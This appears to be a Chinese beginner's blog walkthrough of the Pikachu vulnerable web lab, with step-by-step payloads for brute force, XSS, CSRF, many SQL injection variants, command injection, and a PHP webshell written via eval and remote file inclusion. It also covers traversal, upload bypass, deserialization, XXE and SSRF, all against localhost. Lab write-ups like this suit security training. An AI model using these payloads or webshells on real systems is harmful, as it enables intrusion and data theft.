pikachu靶场练习(详细,完整,适合新手阅读)

  • Burt Force(暴力破解漏洞)
  • XSS(跨站脚本漏洞)
  • CSRF(跨站请求伪造)
  • SQL-Inject(SQL注入漏洞)
  • RCE(远程命令/代码执行)
  • Files Inclusion(文件包含漏洞)
  • Unsafe file downloads(不安全的文件下载)
  • Unsafe file uploads(不安全的文件上传)
  • Over Permisson(越权漏洞)
  • ../../../(目录遍历)
  • I can see your ABC(敏感信息泄露)
  • PHP反序列化漏洞
  • XXE(XML External Entity attack)
  • 不安全的URL重定向
  • SSRF(Server-Side Request Forgery)

暴力破解

基于表单的暴力破解

1.随便输入一个用户名和密码,点击登录,使用burpsuit抓包爆破密码

2.从proxy—>ntruder(鼠标右键选择),然后添加要爆破的变量值,使用集束炸弹模式

3.添加playload,

4.爆破,得到两条数据admin 123456 test abc123

5.验证

验证码绕过

验证码绕过(on server)

1.提交数据,抓包

2.这时我们不能直接发送到repeter模式,因为变量就会增加一个验证码模块,会大大增加爆破负担,我们先发送到repeter模块,在发送到intruder模块。这样验证码就可以重复使用了

3.添加字典,开始爆破,得到两个数据admin 123456 和test abc123

4.验证是否成功

验证码绕过(on cilent)

1.当我们输入错误的验证码时,立马弹出了错误

2.我们按F12,检查一下网络,发现根本没有出现网络请求,说明这是前端校验

3.抓包,然后直接发送到intruder(因为验证码在客户端,不在数据包里)

4.爆破,得到了两个值admin 123456和test abc123

5.验证是否正确

token防爆破

1.抓包,并且重放无法绕过token

2.发送到intruder模块

3.添加爆破密码的字典

4.添加爆破token

然后来到设置选项 勾选跟随重定向,然后点击正则的 Add,

在Reource Pool选项中,将线程设为1,然后开始爆破

得到结果

admin的密码是123456.

5.验证

XSS

反射型XSS(get)

1.输入xss恶意代码,发现长度不够,更改限制的最大长度

2.再次输入<script>alert(“xss”)</script>,弹窗成功

反射型XSS(post)

1.输入恶意代码,发现并没有弹窗

2.点击旁边的提示,提示让我们登录

3.登陆后提交恶意代码,发现弹窗成功

post型和get型的区别在于,get型会在url地址栏显示出来,post不会

存储型XSS

1.提交XSS恶意代码

2.弹窗成功

DOM型XSS

1.输入代码,点击按钮,没有弹窗。出现了一句话,what do you see?点击发现无法访问

2.查看网页源代码,ctrl+f,搜索what do you see

3.分析这串代码

document.getElementById(“dom”).innerHTML = “<a href='”+str+”‘>what do you see?</a>”;

有用的是这个herf标签:

<a href='”+str+”‘>what do you see?</a>

我们输入框中的内容就是标注的str,我们可以在这里构造一个闭合,实现弹窗

输入框中输入:
‘ οnclick=”alert(‘xss’)”>
构造之后的完成语句:
<a href=’ ‘ οnclick=”alert(‘xss’)”>’>what do you see?</a> //herf属性值为空,当点击后面的字符串时,会弹窗
所以输入后点击click me 后,点击 what do you see 便会弹窗了。

DOM型XSS-X

和上一关相同,输入’ οnclick=”alert(‘xss’)”>,然后点击出现的字符串即可弹窗成功

不同的是,这一关会在URL地址栏传参

XSS之盲打

1.输入恶意代码:<script>alert(“锅盖头”)</script>

2.点击提交,发现没有反应,查看提示,让我们登录到后台查看

3.我们登录到后台http://localhost/pikachu/vul/xss/xssblind/admin_login.php,并且使用admin用户登录

4.发现弹窗成功(这个应该是针对网站管理员的bug)

XSS之过滤

1.直接告诉了我们过滤,首先采用双写绕过,不行

2.采用大小写绕过,不行

3.使用事件法绕过<img src=1 οnerrοr=alert(“事件型”)>

弹窗成功

XSS之htmlspecialchars

1.看不懂这个函数,查看提示,也是让我们去看这个函数的含义,意思是,保持标签的原样输出

2.“<””>”不可使用,事件法和标签发就都不可以使用了。不过我们还有伪协议的方法。hhh

javascript:alert(1)

weixin:alert(1),使用weixin伪协议,还可以让我们打开微信

XSS之href输出

1.使用标签发<script>alert(“xss”)</script>弹窗未成功

2.使用事件法<img src=1 οnerrοr=alert(“xss”)>弹窗未成功

3.使用伪协议javascript:alert(1)弹窗成功

XSS之js输出

1.用标签发输入,没有反应

2.查看网页源代码,发现输入的数据被闭合在了script标签里,将前面的script标签闭合即可输出数据

3.payload:</script><script>alert(“xss”)</script>,弹窗成功

CSRF

CSRF(get)

1.按照提示输入用户名和密码

2.登陆进去后,可以修改用户信息,这时我哦们抓包

3.复制这串url,将手机改为123456

/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E7%94%B7&phonenum=123456&add=123&email=123&submit=submit

在浏览器新标签中输入这一串被修改过的url

如果在现实中,lili点击了这个被恶意构造的url,就会自动更改lili的用户密码

CSRF(POST)

1.我们登录vince的账号

2.点击修改个人信息并在提交的时候抓包,可以看到是post传参

3.因为post不能直接修改,我们构造一个form表单放在一个html中,然后在浏览器新标签中访问这一串url地址(现实中是诱导Vince点击)

将写好的html代码放入,WWW文件夹下,并重新命名为Vince的报告.html

我们在浏览器的新标签页,打开该html

点击回车,出现一下页面

可以看到,性别和手机都被修改成了我们表单构造里的内容,即攻击成功了

CSRF Token

1.这一次我们登录allen用户,登进去后修改信息,并且在提交的时候抓包

2.可以发现url地址栏中出现了token值,这时我们可以使用token绕过(#token防爆破,与之类似),先将数据包发送到intruder模块,选择音叉模式,添加手机和token两个变量

3.我们手机就只设置一个123456

4.主要为了获取“上一次响应数据包”中的token值,在响应包中找到token值,规则添加成功

因为要重定向响应,这里设置为总是跟随重定向,选择always

返回设置Payload2,选择Recursive grep,刚才抓取的代码就自动过来了,把初始值填在下面,打个勾就行了。

因为需要提交token,所以不能使用多线程,需要把线程数改为1,使用单线程。

5.开始攻击,攻击得到了一串url地址栏,我们将这一串地址,在浏览器新标签中访问

/pikachu/vul/csrf/csrftoken/token_get_edit.php?sex=boy

&phonenum=123456&add=222&email=222&token=6494766556d265372d822372428&submit=submit

6.查看是否成功

SQL注入

SQL注入(POST)

1.点击查询,可以看到,有数据出来,但是url地址栏没有变化

2.抓包

3.重发包,判断注入点,判断为数字型注入

4.查询字段数:id=4 order by 2正确,order by 3 错误,说明有两个回显点

5.查询mysql版本和数据库名:id=0 union select database(),version()

数据库名:pikachu 数据库版本:5以上(有information数据库)

6.查询表名:id=0 union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()

7.查询字段名:id=0 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’

8.查询数据:id=0 union select username,password from users

成功获取用户名以及密码,MD5解密即可

SQL注入(get)

1.我们输入lili查询,可以看到,在上方的url地址栏中,出现了我们输入的名字

2.我们可以下地址栏中判断注入点,输入lili‘ 报错,lili’– qwe显示正常—判断为字符型,是‘闭合

3.判断回显位:lili' order by 2 -- qwe(2正常,3报错,说明会回显位为3)

4.判断数据库版本和数据库名:0′ union select database(),version()– qwe

5.判断表名:0′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=’pikachu’– qwe

6.判断字段名:0′ union select 1,group_concat(column_name) from information_schema.columns where table_schema=’pikachu’ and table_name=’users’– qwe

7.找出数据:0′ union select username,password from users– qwe

搜索型注入

(和get型的做法一样,闭合方式也是‘,不过有三个回显位)

xx型注入

(和get型一样,不过闭合方式位‘))

‘insert/update’注入

1.注册一个用户,并且抓包

2.发送给重发器,在username处进行报错注入:’ or updatexml(1,concat(0x7e,database()),1) or ‘

得到数据库名为pikachu

2.版本号:将database换成@@version—’ or updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘

3.前面的用户名一定要是错的,才会执行报错函数

username=0 ‘ or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or ‘

4.字段名:username=0 ‘ or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name=’users’),1,31),0x7e),1) or ‘

5.查询数据:username=0 ‘ or updatexml(1,concat(0x7e,(select group_concat(username,password)from users limit 0,1),0x7e),1) or ‘

delete型SQL注入

1.在删除留言的时候抓包查看,发现有一个变化的id值,可能存在注入点,判断了不是字符型也不是数字型,我们只好尝试用报错注入

2.判断库名:?id=61 or updatexml (1,concat(0x7e,database(),0x7e),1)

查阅资料得知在bp中,get请求当中去输入sql语句时,空格用+替代,否则会出现问题,所以改成下列语句

?id=61+or+updatexml+(1,concat(0x7e,database(),0x7e),1)

2.判断表名:id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=’pikachu’),0x7e),1)

3.判断字段名:id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=’pikachu’+and+table_name=’users’),0x7e),1)

4.判断数据:id=61+or+updatexml+(1,concat(0x7e,(select+group_concat(username,password)+from+users),0x7e),1)

http头注入

1.点击登录的时候抓包发现找不到注入点,我们按照提示登录,出现了这个界面。

2.我们在点击退出的时候抓包,发现显示的就是,数据包里的内容

3.我们在user-agent中尝试报错注入:’ or updatexml(1,concat(0x7e,(select database()),0x7e),1) or ‘

4.表名:’ or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=’pikachu’),0x7e),1) or ‘

把UA前面的内容删了,表明才显现出来

5.判断字段名:’ or updatexml (1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=’pikachu’and table_name=’users’),0x7e),1) or ‘

6.判断数据:’ or updatexml (1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1) or ‘

布尔盲注

1.输入lili‘查询不存在

2.输入lili’– qwe,正常显示

判断为‘闭合

3.判断数据库名的长度:lili’ and length(database())=7– qwe,正常显示说明数据库名字的长度为7

4.判断库名:lili’ and substr(database(),1,1)=’p’– qwe

lili’ and substr(database(),2,1)=’i’– qwe

猜测为‘pikachu’:lili’ and substr(database(),1,7)=’pikachu’– qwe

5.猜测表名(用group_concat猜,很漫长,也可以写python脚本自己跑,或者使用sqlmap自动注入工具)

时间盲注

1.输入 lili and sleep(5)– qwe刷一下就出来了,但是输入lili’ and sleep(5)– qwe等了5秒才出来,所以是单引号闭合

2.用if+sleep语句判断库名

长度:lili’ and if(length(database())=7,sleep(5),1)– qwe

库名:lili’ and if(substr(database(),1,1)=’p’,sleep(5),1)– qwe

。。。。。。。

慢慢例举或使用脚本和sqlmap可以将数据拿出来。

宽字节注入

宽字节注入,大概意思就是有些过滤不严谨的地方后端编码可能使用UTF8编码\’进行了单引号转义,有时候我们使用GBK编码绕过后端反斜杠转义

测试宽字节注入,和联合注入是一样的只是在内容后面添加%df即可,通过在内容输入处输入内容,然后修改。比如获取显示位。

宽字节注入的原理是:
当转义使用的\为ASCII编码,而客户端传入的参数被当成GBK等宽字节编码,则可以通过在\之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让mysql以为插入的字节和\是一个中文字符,从而吃掉\,摧毁转义。

1.输入name=1%df’ or 1=1– qwe显示正常,name=1%df’ or 1=1– qwe查询不到数据,说明是单引号闭合

2.使用:name=1%df’ union select 1,2– qwe发现有两个回显位

3,库名:name=1%df’ union select 1,database()– qwe

4.表名:name=1%df’ union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()– qwe

5.字段名:name=1%df’ union select 1,group_concat(column_name)from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)— qwe

试了几种绕过单引号的方法都行不通(%df%27/16进制),只能将‘users’用sql查询语句表示了

6.查询数据:name=1%df’ union select username,password from users– qwe

RCE:

远程命令执行

没有经过校验

使用 | 拼接符和dir命令可以列出文件的地址

使用127.0.0.1|type C:\Windows\win.ini可以列出win.ini文件

evel,输入phpinfo()出现了以下界面,证明了eval直径执行了代码

拓展:试试上传木马 fputs(fopen(‘shell.php’,’w’),'<?php assert($_POST[fin]);?>’);

可以看到,在该路径下多出了一个shell.php文件

通关蚁剑连接(当我们提交时,在安全中心如果没有点击允许在设备设备上,则会报一大段错误,因为shell.php文件并没有上传成功,我们给的网址是错误的)

连接成功后,就可以管理本机上的文件了

File Inclusion(文件包含)

File Inclusion(local)

1.当我们选择运动员提交查询的时候,可以看到,url地址栏中的file后面的数字是在变化的

2.那有没有可能,其他文件也在这个路径下呢,我们在提交的时候进行抓包,爆破

3.设置payloads,从1开始到100,步数是1

4.开始攻击,前5个都是运动员的信息,看看这神秘出来的第六个是什么吧

访问,发现出现了两个用户的用户名和密码

使用../../../../回到www目录,访问下面的index.html文件,访问成功

File Inclusion(remote)

1.打开远程包含

2.选择不同的运动员,观察url的变化,发现和本地文件包含差不多,不过是将include显示出来了

3.查看文件6,证明可以操作filename后面的数据

4.使用pikahcu自己提供的一句话木马

5.使用远程访问,访问这个测试文件 http://localhost/pikachu/test/yijuhua.txt

6.点击提交后,没有反应,但是我们到这一关的文件夹下查看,发现多出了一个yijuhua.php

7.访问:http://localhost/pikachu/vul/fileinclude/yijuhua.php?x=dir

http://loacalhost/pikachu/vul/fileinclude/yijuhua.php?x=ipconfig

unsafe Filedownload

1.我们点击文件下载后,抓包

2.我们复制这串代码,再次访问,可以发现依旧可以下载文件

3.既然传参可以进行当前目录下的任意文件载,那么是否可以下载本机上其他位置的文件呢,我们在test文件夹下新建一个password.txt文件

4.将url复制下来修改路径localhost/pikachu/vul/unsafedownload/execdownload.php?filename=../../../test/password.txt

Unsafe Fileupload

client chek

1.我们选择上传test文件夹下的phpinfo.txt文件,点击上传,显示不符合要求

2.F12检查网页:发现只能上传“jpg”“png”“git”三种文件格式

3.先将password的后缀名改为.png,然后再进行上传,并在上传的时候抓包

4.在repeater中修改后缀名然后发送

5.查看是否成功

第二种方案,使用火狐的插件

MIME type

和上一关的绕过方式一样

getimagesize

1.我们照着前两关的方法做,发现行不通了

2.点击提示,让我们去了解这个函数

getimagesize()函数会通过读取文件头部的几个字符串(即文件头), 来判断是否为正常图片的头部

JPEG (jpg),文件头:FFD8FFE0或FFD8FFE1或FFD8FFE8
GIF (gif),件头:47 49 46 38
PNG (png),文件头:89 50 4E 47
HTML (html),文件头:68 74 6D 6C 3E
ZIP Archive (zip),文件头:50 4B 03 04
RAR Archive (rar),文件头:52 61 72 21
MS Word/Excel (xls.or.doc),文件头:D0 CF 11 E0
Adobe Acrobat (pdf),文件头:25 50 44 46 2D 31 2E

3.将png的文件头加入到password.txt的第一排,并且修改后缀名为.png,

4.上传password.png

5.检查是否上传成功

Over Permission

水平越权

1.输入lili的账号登录

2.查看lili的信息,我们可以看到,url地址栏中有lili的用户名

3.在url地址栏中修改用户名为kobe

4.可以发现,只要将用户名修改了,就可以看见其他用户的个人信息

垂直越权

1.该关卡有两个用户admin和pikachu,我们分别登录这两个用户,观察他们的权限

admin用户具有增删查改的功能

pikachu用户仅有查看用户的权限

2.我们来到admin用户,添加用户的界面,将这个url地址复制下来

http://localhost/pikachu/vul/overpermission/op2/op2_admin_edit.php

3.再次登录pikachu用户,直接在上放的地址栏,将复制的url粘贴上去

4.出现了添加用户的界面,而且用的还是pikachu用户的身份

5.查看数据是否添加成功

账户pikachu是没有添加用户的权限的,可是在皮卡出用户界面直接访问编辑用户的文件地址时,可得到超出用户权限设置的权限,造成了垂直越权

../../ 目录遍历

1.点击连接,出现了一段短文,点击不同的链接,url地址栏是会改变传参值的

2.我们根据这一点知道了,后面的值是可以变化的,目录遍历到,test下的password.txt

敏感信息泄露

PHP 反序列化

打印输出test1234

O:1:”S”:1:{s:4:”test”;s:8:”test1234″;}

输出xss payload

O:1:”S”:1:{s:4:”test”;s:29:”<script>alert(‘xss’)</script>”;}

实现网站恶意跳转至指定页面

O:1:”S”:1:{s:4:”test”;s:64:”<script>window.location.replace(‘http://www.baidu.com’)</script>”;}

XXE

(按照规范构造XML)

<?xml version=”1.0″?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM “http://localhost/pikachu/test/password.txt”>
]>
<x>&f;</x>

URL重定向

1.挨个点击,发现秋天哪儿实现了一个跳转,我们抓包看一看

2.重发包,将url后面的地址改为百度的网址,302为重定向错误,不过跳转是跳转了的

SSRF

SSRF漏洞常用协议:

1)HTTP(s):最常用到的一种协议,可以用来验证是否存在SSRF漏洞,探测端口以及服务。
2)file:本地文件传输协议,可以用来读取任意系统文件
3)dict:字典服务器协议,dict是基于查询相应的TCP协议,服务器监听端口2628。在SSRF漏洞中可用于探测端口以及攻击内网应用
4)ghoper:互联网上使用的分布型的文件搜集获取网络协议,出现在http协议之前。可用于攻击内网应用,可用于反弹shell。

1.点击读一首诗,可以看到后面的地址是可以修改的

2.使用file协议读取文件信息

  • 38
    点赞
  • 63
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值